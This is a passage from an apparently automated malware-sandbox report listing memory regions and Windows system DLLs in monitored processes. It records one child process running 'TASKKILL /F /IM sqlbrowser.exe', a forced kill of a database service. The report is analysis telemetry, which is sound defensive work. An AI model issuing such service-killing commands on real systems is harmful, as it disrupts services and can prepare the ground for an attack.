0x82ffff entry_point = 0x0 region_type = private name = "private_0x0000000000730000" filename = "" Region: id = 4038 start_va = 0x6a7b0000 end_va = 0x6a89afff entry_point = 0x6a7b13ce region_type = mapped_file name = "dbghelp.dll" filename = "\\Windows\\SysWOW64\\dbghelp.dll" (normalized: "c:\\windows\\syswow64\\dbghelp.dll") Region: id = 4039 start_va = 0x6a8a0000 end_va = 0x6a8aefff entry_point = 0x6a8a12a1 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\SysWOW64\\wkscli.dll" (normalized: "c:\\windows\\syswow64\\wkscli.dll") Region: id = 4040 start_va = 0x6a8b0000 end_va = 0x6a8c0fff entry_point = 0x6a8b1300 region_type = mapped_file name = "netapi32.dll" filename = "\\Windows\\SysWOW64\\netapi32.dll" (normalized: "c:\\windows\\syswow64\\netapi32.dll") Region: id = 4041 start_va = 0x6a8d0000 end_va = 0x6a8dcfff entry_point = 0x6a8d11e0 region_type = mapped_file name = "wtsapi32.dll" filename = "\\Windows\\SysWOW64\\wtsapi32.dll" (normalized: "c:\\windows\\syswow64\\wtsapi32.dll") Region: id = 4042 start_va = 0x6a8e0000 end_va = 0x6a914fff entry_point = 0x6a8e13d5 region_type = mapped_file name = "framedynos.dll" filename = "\\Windows\\SysWOW64\\framedynos.dll" (normalized: "c:\\windows\\syswow64\\framedynos.dll") Region: id = 4043 start_va = 0x73ba0000 end_va = 0x73bb1fff entry_point = 0x73ba1200 region_type = mapped_file name = "mpr.dll" filename = "\\Windows\\SysWOW64\\mpr.dll" (normalized: "c:\\windows\\syswow64\\mpr.dll") Region: id = 4044 start_va = 0x73e30000 end_va = 0x73e38fff entry_point = 0x73e315a6 region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\SysWOW64\\netutils.dll" (normalized: "c:\\windows\\syswow64\\netutils.dll") Region: id = 4045 start_va = 0x74080000 end_va = 0x74087fff entry_point = 0x740810e9 region_type = mapped_file name = "secur32.dll" filename = "\\Windows\\SysWOW64\\secur32.dll" (normalized: "c:\\windows\\syswow64\\secur32.dll") Region: id = 4046 start_va = 0x74b50000 end_va = 0x74b58fff entry_point = 0x74b51220 region_type = mapped_file name = "version.dll" filename = "\\Windows\\SysWOW64\\version.dll" (normalized: "c:\\windows\\syswow64\\version.dll") Region: id = 4047 start_va = 0x75330000 end_va = 0x75348fff entry_point = 0x75331319 region_type = mapped_file name = "srvcli.dll" filename = "\\Windows\\SysWOW64\\srvcli.dll" (normalized: "c:\\windows\\syswow64\\srvcli.dll") Region: id = 4048 start_va = 0x753f0000 end_va = 0x753fbfff entry_point = 0x753f10e1 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 4049 start_va = 0x75400000 end_va = 0x7545ffff entry_point = 0x7541a3b3 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 4050 start_va = 0x755a0000 end_va = 0x7564bfff entry_point = 0x755aa472 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 4051 start_va = 0x763f0000 end_va = 0x7648ffff entry_point = 0x764049e5 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\SysWOW64\\advapi32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll") Region: id = 4052 start_va = 0x76520000 end_va = 0x7662ffff entry_point = 0x765332d3 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 4053 start_va = 0x76690000 end_va = 0x7677ffff entry_point = 0x766a0569 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 4054 start_va = 0x76780000 end_va = 0x767d6fff entry_point = 0x76799ba6 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\SysWOW64\\shlwapi.dll" (normalized: "c:\\windows\\syswow64\\shlwapi.dll") Region: id = 4055 start_va = 0x76910000 end_va = 0x7699efff entry_point = 0x76913fb1 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\SysWOW64\\oleaut32.dll" (normalized: "c:\\windows\\syswow64\\oleaut32.dll") Region: id = 4056 start_va = 0x769a0000 end_va = 0x769b8fff entry_point = 0x769a4975 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 4057 start_va = 0x76c80000 end_va = 0x76c85fff entry_point = 0x76c81782 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\SysWOW64\\nsi.dll" (normalized: "c:\\windows\\syswow64\\nsi.dll") Region: id = 4058 start_va = 0x76c90000 end_va = 0x76d2cfff entry_point = 0x76cc3fd7 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\SysWOW64\\usp10.dll" (normalized: "c:\\windows\\syswow64\\usp10.dll") Region: id = 4059 start_va = 0x76d30000 end_va = 0x76e8bfff entry_point = 0x76d7ba3d region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\SysWOW64\\ole32.dll" (normalized: "c:\\windows\\syswow64\\ole32.dll") Region: id = 4060 start_va = 0x76ea0000 end_va = 0x76ea9fff entry_point = 0x76ea36a0 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\SysWOW64\\lpk.dll" (normalized: "c:\\windows\\syswow64\\lpk.dll") Region: id = 4061 start_va = 0x77130000 end_va = 0x77164fff entry_point = 0x7713145d region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\SysWOW64\\ws2_32.dll" (normalized: "c:\\windows\\syswow64\\ws2_32.dll") Region: id = 4062 start_va = 0x772c0000 end_va = 0x77305fff entry_point = 0x772c7478 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 4063 start_va = 0x77310000 end_va = 0x7740ffff entry_point = 0x7732b6ed region_type = mapped_file name = "user32.dll" filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll") Region: id = 4064 start_va = 0x77410000 end_va = 0x7749ffff entry_point = 0x77426343 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll") Region: id = 4065 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 4066 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 4067 start_va = 0x830000 end_va = 0x9b7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000830000" filename = "" Region: id = 4068 start_va = 0x767e0000 end_va = 0x7683ffff entry_point = 0x767f158f region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 4069 start_va = 0x771f0000 end_va = 0x772bbfff entry_point = 0x771f168b region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\SysWOW64\\msctf.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll") Region: id = 4070 start_va = 0x30000 end_va = 0x36fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 4071 start_va = 0xe0000 end_va = 0xe1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4072 start_va = 0x100000 end_va = 0x103fff entry_point = 0x100000 region_type = mapped_file name = "taskkill.exe.mui" filename = "\\Windows\\SysWOW64\\en-US\\taskkill.exe.mui" (normalized: "c:\\windows\\syswow64\\en-us\\taskkill.exe.mui") Region: id = 4073 start_va = 0x110000 end_va = 0x110fff entry_point = 0x0 region_type = private name = "private_0x0000000000110000" filename = "" Region: id = 4074 start_va = 0x120000 end_va = 0x120fff entry_point = 0x0 region_type = private name = "private_0x0000000000120000" filename = "" Region: id = 4075 start_va = 0x130000 end_va = 0x16ffff entry_point = 0x0 region_type = private name = "private_0x0000000000130000" filename = "" Region: id = 4076 start_va = 0x1b0000 end_va = 0x1effff entry_point = 0x0 region_type = private name = "private_0x00000000001b0000" filename = "" Region: id = 4077 start_va = 0x1f0000 end_va = 0x1f0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001f0000" filename = "" Region: id = 4078 start_va = 0x2b0000 end_va = 0x2effff entry_point = 0x0 region_type = private name = "private_0x00000000002b0000" filename = "" Region: id = 4079 start_va = 0x2f0000 end_va = 0x3affff entry_point = 0x2f0000 region_type = mapped_file name = "kernelbase.dll.mui" filename = "\\Windows\\SysWOW64\\en-US\\KernelBase.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\kernelbase.dll.mui") Region: id = 4080 start_va = 0x9c0000 end_va = 0xb40fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000009c0000" filename = "" Region: id = 4081 start_va = 0xb50000 end_va = 0x1f4ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000b50000" filename = "" Region: id = 4082 start_va = 0x76490000 end_va = 0x76512fff entry_point = 0x764923d2 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\SysWOW64\\clbcatq.dll" (normalized: "c:\\windows\\syswow64\\clbcatq.dll") Region: id = 4083 start_va = 0x7efd8000 end_va = 0x7efdafff entry_point = 0x0 region_type = private name = "private_0x000000007efd8000" filename = "" Region: id = 4084 start_va = 0x240000 end_va = 0x240fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000240000" filename = "" Region: id = 4085 start_va = 0x6a5b0000 end_va = 0x6a60bfff entry_point = 0x6a5d2b48 region_type = mapped_file name = "wbemcomn.dll" filename = "\\Windows\\SysWOW64\\wbemcomn.dll" (normalized: "c:\\windows\\syswow64\\wbemcomn.dll") Region: id = 4086 start_va = 0x6a720000 end_va = 0x6a729fff entry_point = 0x6a72149a region_type = mapped_file name = "wbemprox.dll" filename = "\\Windows\\SysWOW64\\wbem\\wbemprox.dll" (normalized: "c:\\windows\\syswow64\\wbem\\wbemprox.dll") Region: id = 4087 start_va = 0x4e0000 end_va = 0x51ffff entry_point = 0x0 region_type = private name = "private_0x00000000004e0000" filename = "" Region: id = 4088 start_va = 0x5b0000 end_va = 0x6affff entry_point = 0x0 region_type = private name = "private_0x00000000005b0000" filename = "" Region: id = 4089 start_va = 0x6a580000 end_va = 0x6a5a8fff entry_point = 0x6a586b19 region_type = mapped_file name = "winsta.dll" filename = "\\Windows\\SysWOW64\\winsta.dll" (normalized: "c:\\windows\\syswow64\\winsta.dll") Region: id = 4090 start_va = 0x540000 end_va = 0x57ffff entry_point = 0x0 region_type = private name = "private_0x0000000000540000" filename = "" Region: id = 4091 start_va = 0x1f50000 end_va = 0x221efff entry_point = 0x1f50000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 4092 start_va = 0x22b0000 end_va = 0x22effff entry_point = 0x0 region_type = private name = "private_0x00000000022b0000" filename = "" Region: id = 4093 start_va = 0x74460000 end_va = 0x7449afff entry_point = 0x7446128d region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 4094 start_va = 0x749e0000 end_va = 0x749f5fff entry_point = 0x749e2dc3 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\SysWOW64\\cryptsp.dll" (normalized: "c:\\windows\\syswow64\\cryptsp.dll") Region: id = 4095 start_va = 0x7efd5000 end_va = 0x7efd7fff entry_point = 0x0 region_type = private name = "private_0x000000007efd5000" filename = "" Region: id = 4096 start_va = 0x749d0000 end_va = 0x749ddfff entry_point = 0x749d1235 region_type = mapped_file name = "rpcrtremote.dll" filename = "\\Windows\\SysWOW64\\RpcRtRemote.dll" (normalized: "c:\\windows\\syswow64\\rpcrtremote.dll") Region: id = 4097 start_va = 0x470000 end_va = 0x4affff entry_point = 0x0 region_type = private name = "private_0x0000000000470000" filename = "" Region: id = 4098 start_va = 0x2240000 end_va = 0x227ffff entry_point = 0x0 region_type = private name = "private_0x0000000002240000" filename = "" Region: id = 4099 start_va = 0x2380000 end_va = 0x23bffff entry_point = 0x0 region_type = private name = "private_0x0000000002380000" filename = "" Region: id = 4100 start_va = 0x24a0000 end_va = 0x24dffff entry_point = 0x0 region_type = private name = "private_0x00000000024a0000" filename = "" Region: id = 4101 start_va = 0x6a570000 end_va = 0x6a57efff entry_point = 0x6a5721a0 region_type = mapped_file name = "wbemsvc.dll" filename = "\\Windows\\SysWOW64\\wbem\\wbemsvc.dll" (normalized: "c:\\windows\\syswow64\\wbem\\wbemsvc.dll") Region: id = 4102 start_va = 0x7efaa000 end_va = 0x7efacfff entry_point = 0x0 region_type = private name = "private_0x000000007efaa000" filename = "" Region: id = 4103 start_va = 0x7efad000 end_va = 0x7efaffff entry_point = 0x0 region_type = private name = "private_0x000000007efad000" filename = "" Region: id = 4104 start_va = 0x6a4b0000 end_va = 0x6a4c7fff entry_point = 0x6a4b1335 region_type = mapped_file name = "ntdsapi.dll" filename = "\\Windows\\SysWOW64\\ntdsapi.dll" (normalized: "c:\\windows\\syswow64\\ntdsapi.dll") Region: id = 4105 start_va = 0x6a4d0000 end_va = 0x6a565fff entry_point = 0x6a4ef8b9 region_type = mapped_file name = "fastprox.dll" filename = "\\Windows\\SysWOW64\\wbem\\fastprox.dll" (normalized: "c:\\windows\\syswow64\\wbem\\fastprox.dll") Thread: id = 254 os_tid = 0xa5c Thread: id = 255 os_tid = 0xa60 Thread: id = 256 os_tid = 0xa4c Thread: id = 257 os_tid = 0xa64 Thread: id = 258 os_tid = 0xa68 Process: id = "34" image_name = "taskkill.exe" filename = "c:\\windows\\syswow64\\taskkill.exe" page_root = "0x56265000" os_pid = "0xa8c" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "10" os_parent_pid = "0xbb0" cmd_line = "TASKKILL /F /IM sqlbrowser.exe /IM sqlbrowser.exe " cur_dir = "C:\\Users\\kFT6uTQW\\Desktop\\" os_username = "XABNCPUWKW\\kFT6uTQW" os_groups = "XABNCPUWKW\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e8ae" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 4106 start_va = 0x10000 end_va = 0x2ffff entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 4107 start_va = 0x30000 end_va = 0x31fff entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 4108 start_va = 0x40000 end_va = 0x40fff entry_point = 0x40000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 4109 start_va = 0x50000 end_va = 0x53fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000050000" filename = "" Region: id = 4110 start_va = 0x60000 end_va = 0x60fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000060000" filename = "" Region: id = 4111 start_va = 0x130000 end_va = 0x16ffff entry_point = 0x0 region_type = private name = "private_0x0000000000130000" filename = "" Region: id = 4112 start_va = 0x230000 end_va = 0x26ffff entry_point = 0x0 region_type = private name = "private_0x0000000000230000" filename = "" Region: id = 4113 start_va = 0x490000 end_va = 0x4a5fff entry_point = 0x495c89 region_type = mapped_file name = "taskkill.exe" filename = "\\Windows\\SysWOW64\\taskkill.exe" (normalized: "c:\\windows\\syswow64\\taskkill.exe") Region: id = 4114 start_va = 0x776c0000 end_va = 0x77868fff entry_point = 0x776c0000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 4115 start_va = 0x778a0000 end_va = 0x77a1ffff entry_point = 0x778a0000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 4116 start_va = 0x7efb0000 end_va = 0x7efd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efb0000" filename = "" Region: id = 4117 start_va = 0x7efdb000 end_va = 0x7efddfff entry_point = 0x0 region_type = private name = "private_0x000000007efdb000" filename = "" Region: id = 4118 start_va = 0x7efde000 end_va = 0x7efdefff entry_point = 0x0 region_type = private name = "private_0x000000007efde000" filename = "" Region: id = 4119 start_va = 0x7efdf000 end_va = 0x7efdffff entry_point = 0x0 region_type = private name = "private_0x000000007efdf000" filename = "" Region: id = 4120 start_va = 0x7efe0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 4121 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 4122 start_va = 0x7fff0000 end_va = 0x7fffffeffff entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 4123 start_va = 0x3d0000 end_va = 0x44ffff entry_point = 0x0 region_type = private name = "private_0x00000000003d0000" filename = "" Region: id = 4124 start_va = 0x73fd0000 end_va = 0x73fd7fff entry_point = 0x73fd20f8 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 4125 start_va = 0x73fe0000 end_va = 0x7403bfff entry_point = 0x7401f798 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 4126 start_va = 0x74040000 end_va = 0x7407efff entry_point = 0x7406de78 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 4127 start_va = 0x774a0000 end_va = 0x77599fff entry_point = 0x0 region_type = private name = "private_0x00000000774a0000" filename = "" Region: id = 4128 start_va = 0x775a0000 end_va = 0x776befff entry_point = 0x0 region_type = private name = "private_0x00000000775a0000" filename = "" Region: id = 4129 start_va = 0x10000 end_va = 0x1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 4130 start_va = 0x20000 end_va = 0x2ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000020000" filename = "" Region: id = 4131 start_va = 0x70000 end_va = 0xd6fff entry_point = 0x70000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 4132 start_va = 0x610000 end_va = 0x70ffff entry_point = 0x0 region_type = private name = "private_0x0000000000610000" filename = "" Region: id = 4133 start_va = 0x8a0000 end_va = 0x8affff entry_point = 0x0 region_type = private name = "private_0x00000000008a0000" filename = "" Region: id = 4134 start_va = 0x6a520000 end_va = 0x6a60afff entry_point = 0x6a5213ce region_type = mapped_file name = "dbghelp.dll" filename = "\\Windows\\SysWOW64\\dbghelp.dll" (normalized: "c:\\windows\\syswow64\\dbghelp.dll") Region: id = 4135 start_va = 0x6a8a0000 end_va = 0x6a8d4fff entry_point = 0x6a8a13d5 region_type = mapped_file name = "framedynos.dll" filename = "\\Windows\\SysWOW64\\framedynos.dll" (normalized: "c:\\windows\\syswow64\\framedynos.dll") Region: id = 4136 start_va = 0x6a8e0000 end_va = 0x6a8eefff entry_point = 0x6a8e12a1 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\SysWOW64\\wkscli.dll" (normalized: "c:\\windows\\syswow64\\wkscli.dll") Region: id = 4137 start_va = 0x6a8f0000 end_va = 0x6a8f8fff entry_point = 0x6a8f15a6 region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\SysWOW64\\netutils.dll" (normalized: "c:\\windows\\syswow64\\netutils.dll") Region: id = 4138 start_va = 0x6a900000 end_va = 0x6a910fff entry_point = 0x6a901300 region_type = mapped_file name = "netapi32.dll" filename = "\\Windows\\SysWOW64\\netapi32.dll" (normalized: "c:\\windows\\syswow64\\netapi32.dll") Region: id = 4139 start_va = 0x73ba0000 end_va = 0x73bb1fff entry_point = 0x73ba1200 region_type = mapped_file name = "mpr.dll" filename = "\\Windows\\SysWOW64\\mpr.dll" (normalized: "c:\\windows\\syswow64\\mpr.dll") Region: id = 4140 start_va = 0x73e30000 end_va = 0x73e3cfff entry_point = 0x73e311e0 region_type = mapped_file name = "wtsapi32.dll" filename = "\\Windows\\SysWOW64\\wtsapi32.dll" (normalized: "c:\\windows\\syswow64\\wtsapi32.dll") Region: id = 4141 start_va = 0x74080000 end_va = 0x74087fff entry_point = 0x740810e9 region_type = mapped_file name = "secur32.dll" filename = "\\Windows\\SysWOW64\\secur32.dll" (normalized: "c:\\windows\\syswow64\\secur32.dll") Region: id = 4142 start_va = 0x74b50000 end_va = 0x74b58fff entry_point = 0x74b51220 region_type = mapped_file name = "version.dll" filename = "\\Windows\\SysWOW64\\version.dll" (normalized: "c:\\windows\\syswow64\\version.dll") Region: id = 4143 start_va = 0x75330000 end_va = 0x75348fff entry_point = 0x75331319 region_type = mapped_file name = "srvcli.dll" filename = "\\Windows\\SysWOW64\\srvcli.dll" (normalized: "c:\\windows\\syswow64\\srvcli.dll") Region: id = 4144 start_va = 0x753f0000 end_va = 0x753fbfff entry_point = 0x753f10e1 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 4145 start_va = 0x75400000 end_va = 0x7545ffff entry_point = 0x7541a3b3 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 4146 start_va = 0x755a0000 end_va = 0x7564bfff entry_point = 0x755aa472 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 4147 start_va = 0x763f0000 end_va = 0x7648ffff entry_point = 0x764049e5 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\SysWOW64\\advapi32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll") Region: id = 4148 start_va = 0x76520000 end_va = 0x7662ffff entry_point = 0x765332d3 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 4149 start_va = 0x76690000 end_va = 0x7677ffff entry_point = 0x766a0569 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 4150 start_va = 0x76780000 end_va = 0x767d6fff entry_point = 0x76799ba6 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\SysWOW64\\shlwapi.dll" (normalized: "c:\\windows\\syswow64\\shlwapi.dll") Region: id = 4151 start_va = 0x76910000 end_va = 0x7699efff entry_point = 0x76913fb1 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\SysWOW64\\oleaut32.dll" (normalized: "c:\\windows\\syswow64\\oleaut32.dll") Region: id = 4152 start_va = 0x769a0000 end_va = 0x769b8fff entry_point = 0x769a4975 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 4153 start_va = 0x76c80000 end_va = 0x76c85fff entry_point = 0x76c81782 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\SysWOW64\\nsi.dll" (normalized: "c:\\windows\\syswow64\\nsi.dll") Region: id = 4154 start_va = 0x76c90000 end_va = 0x76d2cfff entry_point = 0x76cc3fd7 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\SysWOW64\\usp10.dll" (normalized: "c:\\windows\\syswow64\\usp10.dll") Region: id = 4155 start_va = 0x76d30000 end_va = 0x76e8bfff entry_point = 0x76d7ba3d region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\SysWOW64\\ole32.dll" (normalized: "c:\\windows\\syswow64\\ole32.dll") Region: id = 4156 start_va = 0x76ea0000 end_va = 0x76ea9fff entry_point = 0x76ea36a0 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\SysWOW64\\lpk.dll" (normalized: "c:\\windows\\syswow64\\lpk.dll") Region: id = 4157 start_va = 0x77130000 end_va = 0x77164fff entry_point = 0x7713145d region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\SysWOW64\\ws2_32.dll" (normalized: "c:\\windows\\syswow64\\ws2_32.dll") Region: id = 4158 start_va = 0x772c0000 end_va = 0x77305fff entry_point = 0x772c7478 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 4159 start_va = 0x77310000 end_va = 0x7740ffff entry_point = 0x7732b6ed region_type = mapped_file name = "user32.dll" filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll") Region: id = 4160 start_va = 0x77410000 end_va = 0x7749ffff entry_point = 0x77426343 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll") Region: id = 4161 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 4162 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 4163 start_va = 0x710000 end_va = 0x897fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000710000" filename = "" Region: id = 4164 start_va = 0x767e0000 end_va = 0x7683ffff entry_point = 0x767f158f region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 4165 start_va = 0x771f0000 end_va = 0x772bbfff entry_point = 0x771f168b region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\SysWOW64\\msctf.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll") Region: id = 4166 start_va = 0x30000 end_va = 0x36fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 4167 start_va = 0xe0000 end_va = 0xe1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4168 start_va = 0xf0000 end_va = 0xf3fff entry_point = 0xf0000 region_type = mapped_file name = "taskkill.exe.mui" filename = "\\Windows\\SysWOW64\\en-US\\taskkill.exe.mui" (normalized: "c:\\windows\\syswow64\\en-us\\taskkill.exe.mui") Region: id = 4169 start_va = 0x100000 end_va = 0x100fff entry_point = 0x0 region_type = private name = "private_0x0000000000100000" filename = "" Region: id = 4170 start_va = 0x110000 end_va = 0x110fff entry_point = 0x0 region_type = private name = "private_0x0000000000110000" filename = "" Region: id = 4171 start_va = 0x120000 end_va = 0x120fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000120000" filename = "" Region: id = 4172 start_va = 0x170000 end_va = 0x22ffff entry_point = 0x170000 region_type = mapped_file name = "kernelbase.dll.mui" filename = "\\Windows\\SysWOW64\\en-US\\KernelBase.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\kernelbase.dll.mui") Region: id = 4173 start_va = 0x290000 end_va = 0x2cffff entry_point = 0x0 region_type = private name = "private_0x0000000000290000" filename = "" Region: id = 4174 start_va = 0x370000 end_va = 0x3affff entry_point = 0x0 region_type = private name = "private_0x0000000000370000" filename = "" Region: id = 4175 start_va = 0x8b0000 end_va = 0xa30fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000008b0000" filename = "" Region: id = 4176 start_va = 0xa40000 end_va = 0x1e3ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000a40000" filename = "" Region: id = 4177 start_va = 0x2010000 end_va = 0x204ffff entry_point = 0x0 region_type = private name = "private_0x0000000002010000" filename = "" Region: id = 4178 start_va = 0x76490000 end_va = 0x76512fff entry_point = 0x764923d2 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\SysWOW64\\clbcatq.dll" (normalized: "c:\\windows\\syswow64\\clbcatq.dll") Region: id = 4179 start_va = 0x7efd8000 end_va = 0x7efdafff entry_point = 0x0 region_type = private name = "private_0x000000007efd8000" filename = "" Region: id = 4180 start_va = 0x270000 end_va = 0x270fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000270000" filename = "" Region: id = 4181 start_va = 0x6a830000 end_va = 0x6a88bfff entry_point = 0x6a852b48 region_type = mapped_file name = "wbemcomn.dll" filename = "\\Windows\\SysWOW64\\wbemcomn.dll" 